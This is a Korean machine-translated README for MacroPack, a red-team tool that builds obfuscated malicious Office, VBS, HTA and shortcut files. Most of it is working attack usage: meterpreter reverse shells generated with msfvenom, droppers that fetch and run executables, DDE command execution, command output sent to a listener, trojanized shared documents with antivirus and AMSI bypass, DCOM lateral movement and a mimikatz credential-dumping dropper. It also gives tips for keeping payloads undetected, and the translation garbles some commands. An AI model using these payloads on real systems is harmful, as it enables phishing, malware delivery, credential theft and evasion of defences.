MacroPack Community는 MS Office 문서 또는 VBS와 같은 형식과 같은 레트로 형식의 난독화 및 생성을 자동화하는 데 사용되는 도구입니다. 또한 다양한 바로가기 형식을 처리합니다. 이 도구는 레드팀 구성, 침투 테스트, 데모 및 사회 공학 평가에 사용할 수 있습니다. MacroPack은 맬웨어 방지 솔루션 우회를 단순화하고 vb 소스에서 최종 Office 문서 또는 기타 페이로드 유형까지의 프로세스를 자동화합니다. 사용은 매우 간단합니다:
구성이 필요하지 않습니다
단 한 줄의 코드로 모든 작업을 수행할 수 있습니다.
대부분의 Office 형식 및 VBS 기반 형식 생성
고급 사회 공학 공격(이메일, USB 키 등)을 위해 설계된 페이로드
이 도구는 널리 사용되는 침투 테스트 도구(Metasploit, Empire 등)에서 생성된 페이로드와 호환됩니다. 또한 stdin에서 입력을 읽고 다른 도구로 조용히 출력할 수 있으므로 다른 도구와 결합하는 것도 쉽습니다. 이 도구는 Python3으로 작성되었으며 Linux 및 Windows 플랫폼 모두에서 작동합니다.
참고: Office 문서 자동 생성 또는 트로이 목마 기능을 사용하려면 올바른 MS Office 응용 프로그램이 설치된 Windows 플랫폼이 필요합니다.
이 도구는 다양한 난독화 기술을 모두 자동으로 사용합니다. 난독화 기능은 MacroPack에서 생성할 수 있는 모든 VBA 및 VBS 기반 형식과 호환됩니다.
기본 난독화(-o 옵션)에는 다음이 포함됩니다.
함수 이름 바꾸기
변수 이름 바꾸기
공백 제거
댓글 삭제
문자열 인코딩
MacroPack은 여러 종류의 MS Office 문서 및 스크립트 형식을 생성할 수 있습니다. 형식은 주어진 파일 확장자에 따라 자동으로 추측됩니다. 파일 생성은 --generate 또는 -G 옵션을 사용하여 수행됩니다.
MacroPack Pro 버전에서는 --trojan 또는 -T 옵션을 사용하여 기존 Office 파일을 트로이 목마할 수도 있습니다.
MS Office 지원 형식은 다음과 같습니다.
MS 워드(.doc, .docm, .docx, .dotm)
MS 엑셀(.xls, .xlsm, .xslx, .xltm)
MS 파워포인트(.pptm, .potm)
MS 액세스(.accdb, .mdb)
MS Visio(.vsd,.vsdm)
MS 프로젝트(.mpp)
스크립팅(txt) 지원 형식은 다음과 같습니다.
VBA 텍스트 파일(.vba)
VBS 텍스트 파일(.vbs).
Windows 스크립트 파일(.wsf)
Windows 스크립트 구성 요소 스크립틀릿(.wsc, .sct)
HTML 애플리케이션(.hta)
XSLT 스타일시트(.xsl)(예 MS XSLT에는 스크립트가 포함되어 있습니다 ^^)
바로가기/셸 지원 형식은 다음과 같습니다.
셸 링크(.lnk)
탐색기 명령 파일(.scf)
URL 바로가기(.url)
그루브 단축키(.glk)
설정 바로가기(.settingcontent-ms)
MS 라이브러리(.library-ms)
설치 정보(.inf)
Excel 웹 쿼리(.iqy)
Visual Studio 프로젝트(.csproj)
명령줄(.cmd)
SYmbolic Link(.slk) Pro 버전만 해당
압축된 HTML 도움말(.chm) Pro 버전만 해당
모든 스크립팅 및 바로 가기 형식(LNK 제외)은 Linux 버전의 MacroPack에서도 생성될 수 있습니다.
이 소프트웨어는 시스템 소유자의 합법적이고 공식적인 승인을 받아 레드팀 참여, 침투 테스트, 피싱 시뮬레이션, 보안 연구 또는 기타 형태의 보안 평가의 맥락에서만 사용해야 합니다. 사전 동의 없이 대상을 공격하기 위해 이 소프트웨어를 사용하는 것은 금지되어 있으며 불법입니다. 모든 해당 지역, 주, 연방 및 국가 법률을 준수하는 것은 사용자의 책임입니다.
우리는 이 소프트웨어를 사용하여 발생할 수 있는 오용이나 손해에 대해 책임을 지지 않으며 책임을 지지 않습니다.
MacroPack 커뮤니티에서는 MacroPack의 모든 기능과 옵션을 사용할 수 없습니다. 커뮤니티 버전만 온라인으로 사용할 수 있습니다. 프로 버전의 기능은 실제로 프로세스를 "무기화"하므로 해당 기능에 대한 액세스는 전문가로 제한됩니다.
프로 모드에는 다음과 같은 기능이 포함되어 있습니다.
고급 맬웨어 방지 우회
고급 쉘코드 주입 방법
명령줄 난독화(Dosfuscation)
ASR 및 AMSI 우회
자체 압축 풀기 VBA/VBS 페이로드
기존 MS Office 문서, 도움말 파일 및 Visual Studio 프로젝트에 대한 트로이 목마입니다.
미끼 페이로드 삽입
DCOM 개체를 사용한 측면 이동
안티 리버스 엔지니어링
샌드박스 감지
Excel 4.0 SYLK 및 컴파일된 도움말 파일과 같은 더 많은 형식 지원
특이한 형식에서 고급 VB 페이로드 실행
무기화된 템플릿 및 추가 템플릿(예: EMPIRE, AUTOSHELLCODE)
Excel 4.0 매크로(XLM)
그리고 훨씬 더…
BallisKit Vimeo 채널에서 일부 짧은 데모 비디오를 볼 수 있습니다.
중요: MacroPack pro에 관해 저에게 연락하려면 제 emeric.nasi [at] sevagas.com 이메일 주소를 사용하세요. Pro 버전에 대한 익명 문의에는 답변하지 않고 업무용 이메일에만 답변해 드립니다.
https://github.com/sevagas/macro_pack/releases/에서 최신 바이너리를 받으세요.
정품 Microsoft Office가 설치된 PC에 바이너리를 다운로드하세요.
콘솔, CD를 바이너리 디렉토리로 열고 바이너리를 호출하는 것은 매우 간단합니다!
매크로_팩.exe --help
MacroPack을 빌드하려면 Windows 시스템에 있어야 합니다. 종속성을 다운로드하고 설치합니다.
자식 클론 https://github.com/sevagas/macro_pack.gitcd 매크로_팩 pip3 설치 -r 요구사항.txt
이 도구는 Python 3에 있으므로 Python3 설치부터 시작하세요. 전:
python3 Macro_pack.py --help# orpython macro_pack.py --help # python3이 기본 설치인 경우
pyinstaller를 사용하여 독립형 exe를 생성하려면 다음을 수행하십시오.
pyinstaller 설치: pip install pyinstaller
"build.bat" 스크립트를 두 번 클릭합니다.
결과로 나온 Macro_pack.exe는 bin 디렉터리에 있습니다.
지원되는 모든 파일 형식 나열
Macro_pack.exe --listformats
사용 가능한 모든 템플릿 나열
Macro_pack.exe --listtemplates
msfvenom에 의해 생성된 vba 파일을 난독화하고 결과를 새 VBA 파일에 넣습니다.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | Macro_pack.exe -o -Gmeterobf.vba
Empire stager VBA 파일을 난독화하고 MS Word 문서를 생성합니다.
Macro_pack.exe -f Empire.vba -o -G myDoc.docm
난독화된 드로퍼가 포함된 MS Excel 파일 생성(payload.exe를 다운로드하고 Drop.exe로 저장)
echo "https://myurl.url/payload.exe" "dropped.exe" | Macro_pack.exe -o -t DROPPER -G "drop.xlsm"
공유 폴더 내에 난독화된 VBA 역방향 미터프리터 페이로드가 포함된 단어 97 문서를 만듭니다.
msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | Macro_pack.exe -o -G REMOTE-PCSharemeter.doc
DROPPER_PS 템플릿을 사용하여 powershell.exe 없이 Empire Launcher stager를 다운로드하고 실행합니다.
# 1 Empire lauchcher가 포함된 파일을 생성합니다. # 2 해당 파일을 웹 서버에서 사용할 수 있도록 만듭니다(예: netcat 사용):{ echo -ne "HTTP/1.0 200 OKrnrn"; 고양이 Empire_stager.cmd; } | nc -l -p 6666 -q1# 3 Macro_pack을 사용하여 Excel 파일에서 DROPPER_PS 페이로드를 생성합니다.echo http://10.5.5.12:6543/empire_stager.cmd | Macro_pack.exe -o -t DROPPER_PS -G Join_the_empire.xls# 4 대상에서 실행되면 매크로가 PowerShdll을 다운로드하고 rundll32로 실행한 후 Stager를 다운로드하여 실행합니다.
DDE(동적 데이터 교환) 공격을 통해 calc.exe 실행
에코 calc.exe | 매크로_팩.exe --dde -G calc.xslx
DDE(동적 데이터 교환) 공격을 사용하여 powershell을 통해 파일 다운로드 및 실행
# 1 resourcescommunityps_dl_exec.cmd에서 대상 파일 URL 변경# 2 documentmacro_pack.exe에 다운로드 실행 cmd 포함 --dde -f ..resourcescommunityps_dl_exec.cmd -G DDE.xslx
Excel 웹 쿼리 파일 및 DDE를 통해 명령(notepad.exe) 실행
# 1 다음 content=cmd|'로 dde.dat 파일을 생성합니다. /c notepad.exe'!A1# 2 웹서버의 dde.dat 호스트, 예. Macro_pack -l# 사용 3 .iqy 파일macro_pack.exe 생성 -G dde.iqy
난독화된 미터프리터 역방향 TCP VBS 파일을 생성하고 실행합니다.
# 1 Meterpreter 템플릿과 Metasploit 리소스 파일을 기반으로 난독화된 VBS 생성echo| Macro_pack.exe -t METERPRETER -o -G 미터.vbs # 2 공격자 시스템에서 미터프리터 리스너 설정 msfconsole -r 미터프리터.rc # 3 wscript로 VBS 파일 실행(meterpreter 페이로드가 32비트이므로 32비트 wscript 실행)%windir%SysWoW64wscriptmeter.vbs
"systeminfo"를 실행하고 192.168.0.5에서 수신 대기하는 다른 매크로팩에 결과를 반환하는 난독화된 HTA 파일을 생성합니다.
# 1 REMOTE_CMD templateecho를 사용하여 HTA 파일 생성 http://192.168.0.5:1234/a "systeminfo" | Macro_pack.exe -t REMOTE_CMD -o -G info.hta # 2 192.168.0.5에서 http 리스너로 Macro_pack을 엽니다. Macro_pack.exe -l . --port=1234# 3 mshta로 hta 파일 실행 mshta.exe 전체/경로/to/info.hta
클릭하면 로컬 HTA 파일을 실행하는 URL 바로가기를 생성합니다.
echo "file://C:Users사용자 이름Desktophello.hta" | Macro_pack.exe -G yop.url
calc.exe 아이콘을 사용하여 calc.exe를 실행하는 cmd를 실행하는 lnk 바로가기를 생성합니다.
echo '"c:WindowsSystem32cmd.exe /c calc.exe" "calc.exe"' | Macro_pack.exe -G calc.lnk
드로퍼를 사용하여 기존 공유 "report.xlsm" 파일을 트로이 목마로 보냅니다. AV 방지 및 역방향 방지 기능을 사용합니다.
echo "http://10.5.5.12/drop.exe" "dropped.exe" | Macro_pack.exe -o -t DROPPER --bypass --stealth --antisandox --trojan "E:accountingreport.xls"
VBA 자체 인코딩된 x64 역방향 미터프리터 VBA 페이로드가 포함된 Word 파일을 생성합니다(대부분의 AV를 우회합니다). 마이그레이션하기 전에 살아 있으려면 미터프리터가 필요하기 때문에 연결 유지가 필요합니다.
msfvenom.bat -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | Macro_pack.exe -o --autopack --keep-alive -G out.docm
리버스 원시 쉘코드가 포함된 PowerPoint 파일을 트로이 목마로 만듭니다. 매크로는 AMSI 및 대부분의 바이러스 백신을 우회하기 위해 난독화되고 손상되었습니다.
에코 비콘.bin | Macro_pack.exe -o -t SHELLCODE --bypass -T hotpics.pptm
DCOM을 사용하여 원격 PC에서 매크로를 실행합니다.
REM 1단계: 권한이 충분한지 확인하십시오.net 192.168.0.8c$ /user:domainusername 비밀번호REM을 사용하십시오. 2단계: 문서를 생성하십시오. 예를 들어 여기에서는 Meterpreter reverse TCP Excel fileecho 192.168.0.5 4444 | macro_pack.exe -t METERPRETER -o -Gmeter.xlsmREM 3단계: 원격 sharecopy의 어딘가에 문서를 복사합니다.meter.xlsm "192.168.0.8c$usersusernamemeter.xlsm"REM 4단계: 실행!macro_pack.exe --dcom=" 192.168.0.8c$usersusernamemeter.xlsm"REM 한 단계의 2~4단계:echo 192.168.0.5 4444 | Macro_pack.exe -t METERPRETER -o -G "192.168.0.8c$usersusernamemeter.xlsm" --dcom="192.168.0.8c$usersusernamemeter.xlsm"
Main payload generation options: -G, --generate=OUTPUT_FILE_PATH. Generates a file. Will guess the payload format based on extension. MacroPack supports most Ms Office and VB based payloads as well various kinds of shortcut files. Note: Office payload generation requires that MS Office application is installed on the machine --listformats View all file formats which can be generated by MacroPack -f, --input-file=INPUT_FILE_PATH A VBA macro file or file containing params for --template option or non VB formats If no input file is provided, input must be passed via stdin (using a pipe). -t, --template=TEMPLATE_NAME Use code template already included in MacroPack MacroPack supports multiple predefined templates useful for social engineering, redteaming, and security bypass --listtemplates View all templates provided by MacroPack -e, --embed=EMBEDDED_FILE_PATH Will embed the given file in the body of the generated document. Use with EMBED_EXE template to auto drop and exec the file or with EMBED_DLL to drop/load the embedded dll. Security bypass options: -o, --obfuscate Obfuscate code (remove spaces, obfuscate strings, obfuscate functions and variables name) --obfuscate-names-charset=Set a charset for obfuscated variables and functions Choose between: alpha, alphanum, complete or provide the list of char you want --obfuscate-names-minlen= Set min length of obfuscated variables and functions (default 8) --obfuscate-names-maxlen= Set max length of obfuscated variables and functions (default 20) --uac-bypass Execute payload with high privileges if user is admin. Compatible with most MacroPack templates Other options: -q, --quiet Do not display anything on screen, just process request. -p, --print Display result file on stdout (will display VBA for Office formats) Combine this option with -q option to pipe result into another program ex: cat input_file.vba | macro_pack.exe -o -G obfuscated.vba -q -p | another_app -s, --start-function=START_FUNCTION Entry point of macro file Note that macro_pack will automatically detect AutoOpen, Workbook_Open, or Document_Open as the start function --icon Path of generated file icon. Default is %windir%system32imageres.dll,67 --dde Dynamic Data Exchange attack mode. Input will be inserted as a cmd command and executed via DDE This option is only compatible with Excel formats. --run=FILE_PATH Open document using COM to run macro. Can be useful to bypass whitelisting situations. This will trigger AutoOpen/Workbook_Open automatically. If no auto start function, use --start-function option to indicate which macro to run. --unicode-rtlo=SPOOF_EXTENSION Inject the unicode U+202E char (Right-To-Left Override) to spoof the file extension when view in explorers. Ex. To generate an hta file with spoofed jpg extension use options: -G something.hta --unicode-rtlo=jpg In this case, windows or linux explorers will show the file named as: somethingath.jpg -l, --listen=ROOT_PATH Open an HTTP server from ROOT_PATH listening on default port 80. -w, --webdav-listen=ROOT_PATH Open a WebDAV server on default port 80, giving access to ROOT_PATH. --port=PORT Specify the listening port for HTTP and WebDAV servers. -h, --help Displays help and exit
-t, --template=TEMPLATE_NAME을 다른 옵션과 결합하여 사용하여 템플릿을 호출할 수 있습니다.
사용 가능한 모든 템플릿은 다음과 같습니다.
그냥 안녕하세요 메시지와 매크로에 대한 인식을 인쇄하세요.
이 템플릿에 작성자의 이름이나 이메일을 입력하세요.
-> 예: echo "@Author" | macro_pack.exe -t HELLO -G hello.pptm
명령을 실행합니다.
이 템플릿에 명령줄을 제공하세요.
-> 예(xslt 파일에서 calc.exe 팝): echo "calc.exe" | macro_pack.exe -t CMD -G cmd.xsl
명령줄을 실행하고 결과를 원격 HTTP 서버로 보냅니다.
이 템플릿에 서버 URL과 실행할 명령을 제공합니다.
-> 예: echo "http://192.168.0.5:7777" "dir /QC:" | macro_pack.exe -t REMOTE_CMD -o -G cmd.doc
# 웹서버 또는 netcatnc -l -p 7777로 결과를 포착합니다.
파일을 다운로드하고 실행합니다.
이 템플릿에 파일 URL과 대상 파일 경로를 제공하십시오.
-> 예: echo
rundll32를 사용하여 Powershell 스크립트를 다운로드하고 실행합니다(차단된 powershell.exe를 우회하기 위해).
참고: 이 페이로드는 Github에서 PowerShdll을 다운로드합니다.
이 템플릿에 실행하려는 powershell 스크립트의 URL을 제공하십시오.
-> 예: echo "
다른 확장명이 포함된 DLL을 다운로드하고 Office VBA를 사용하여 실행하세요.
-> 예, Office를 사용하여 미터프리터 DLL을 로드합니다.
REM 미터프리터 dll payloadmsfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f dll -ometer.dllREM 생성 ; 고양이 미터.dll; } | nc -l -p 6666 -q1REM DLL을 다운로드하고 REM을 호출할 OFfice 파일을 생성합니다. DLL URL은 http://192.168.0.5:6666/normal.html이고 .asd fileecho "http://192.168로 저장됩니다. .0.5:6666/normal.html" 실행 | 매크로_팩.exe -t DROPPER_DLL -o -G 미터dll.xls
Cn33liz의 MacroMeter를 사용하는 미터프리터 역방향 TCP 템플릿입니다.
이 템플릿은 Cn33liz가 빌드한 CSharp 미터프리터 Stager이며 James Forshaw의 DotNetToJScript를 사용하여 VBA에 포함되어 있습니다.
이 템플릿에 수신 mfsconsole의 IP 및 포트를 제공합니다.
-> 예: echo
이 템플릿은 또한 Metasploit 핸들러를 생성하기 위해meterpreter.rc 파일을 생성합니다.
-> 예: msfconsole -r meterpreter.rc
포함된 파일을 삭제하고 실행합니다.
--embed 옵션과 결합하면 TEMP 폴더 아래에 임의의 이름으로 포함된 파일을 삭제하고 실행합니다.
-> 예: macro_pack.exe -t EMBED_EXE --embed=c:windowssystem32calc.exe -o -G my_calc.vbs
--embed 옵션과 결합하면 지정된 DLL에서 함수를 삭제하고 호출합니다.
이 템플릿에 DLL에서 호출할 함수의 이름과 매개변수를 지정하세요.
-> 예1 : echo "main" | macro_pack.exe -t EMBED_DLL --embed=cmd.dll -o -G cmd.doc
-> 예2 : echo "main log privilege::debug sekurlsa::logonpasswords exit" | macro_pack.exe -t EMBED_DLL --embed=mimikatz.dll -o -G mimidropper.hta
로컬에 설치된 맬웨어 방지 솔루션과 온라인 서비스를 대상으로 다양한 기능을 테스트했습니다. 여러 종류의 페이로드와 MacroPack 기능을 사용하여 여러 테스트를 실행했습니다. 대부분의 바이러스 백신 정적 기능은 간단한 "난독화" 옵션으로 회피됩니다. 그러나 대부분의 무료 도구와 마찬가지로 페이로드는 일반적으로 AMSI와 같은 동작 분석으로 포착됩니다. MacroPack pro 모드에서 사용할 수 있는 기능은 일반적으로 AMSI를 포함한 전체 AV 바이패스를 허용합니다.
경고: 온라인 스캐너(예: VirusTotal)에 샘플을 제출하지 마십시오. 이는 스텔스 매크로를 깨는 가장 좋은 방법입니다. 또한 NoDistribute와 같은 비보고 사이트에는 제출하지 않는 것이 좋습니다. 귀하는 이러한 사이트가 귀하가 제출한 데이터로 무엇을 할 것인지 확신할 수 없습니다. Macro_pack AV 감지에 문제가 있는 경우 당사에 편지를 보내 조언을 구하거나 문제 또는 끌어오기 요청을 제출할 수 있습니다.
MacroPack Pro에 대한 블로그 게시물:
https://blog.sevagas.com/?Launch-shellcodes-and-bypass-Antivirus-using-MacroPack-Pro-VBA-payloads
https://blog.sevagas.com/?EXCEL-4-0-XLM-macro-in-MacroPack-Pro(MacroPack Pro의 Excel 4.0 페이로드)
https://blog.sevagas.com/?Advanced-MacroPack-payloads-XLM-Injection(MacroPack Pro의 XLM 주입)
MS Office, VBS 및 기타 복고풍 보안을 사용한 해킹에 대한 블로그 게시물:
https://blog.sevagas.com/?Bypass-Windows-Defender-Attack-Surface-Reduction
https://subt0x11.blogspot.fr/2018/04/wmicexe-whitelisting-bypass-hacking.html
http://blog.sevagas.com/?My-VBA-Bot(전체 VBA RAT 작성, VBOM 보호 우회 방법 포함)
http://blog.sevagas.com/?Hacking-around-HTA-files(hta가 아닌 파일 및 hta 다중 언어에서 hta 코드 실행)
https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/ (Dynamic Data Exchange 공격 정보)
https://enigma0x3.net/2017/09/11/later-movement-using-excel-application-and-dcom/
기타 유용한 링크:
https://github.com/p3nt4/PowerShdll(dll만 사용하여 PowerShell 실행)
https://gist.github.com/vivami/03780dd512fec22f3a2bae49f9023384 (PowerShdll VBA 구현으로 powershell 스크립트 실행)
https://github.com/EmpireProject/Empire
https://medium.com/@vivami/phishing-between-the-app-whitelists-1b7dcdab4279
https://github.com/Cn33liz/MacroMeter
https://github.com/khr0x40sh/MacroShop
https://docs.microsoft.com/en-us/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script
https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/attack-surface-reduction-exploit-guard
내 트위터 계정 @EmericNasi로 메시지를 보내주세요.
이메일:
emeric.nasi[ ]sevagas.com
ena.sevagas[ ]protonmail.com
중요: MacroPack pro에 관해 저에게 연락하려면 제 sevagas.com 이메일 주소를 사용하세요. 또한 Pro 버전에 대한 익명 문의에는 답변하지 않고 전문 이메일에만 답변해 드립니다.
아파치 라이센스 2.0
저작권 2017,2018,2019,2020,2021,2022 Emeric "Sio" Nasi (blog.sevagas.com)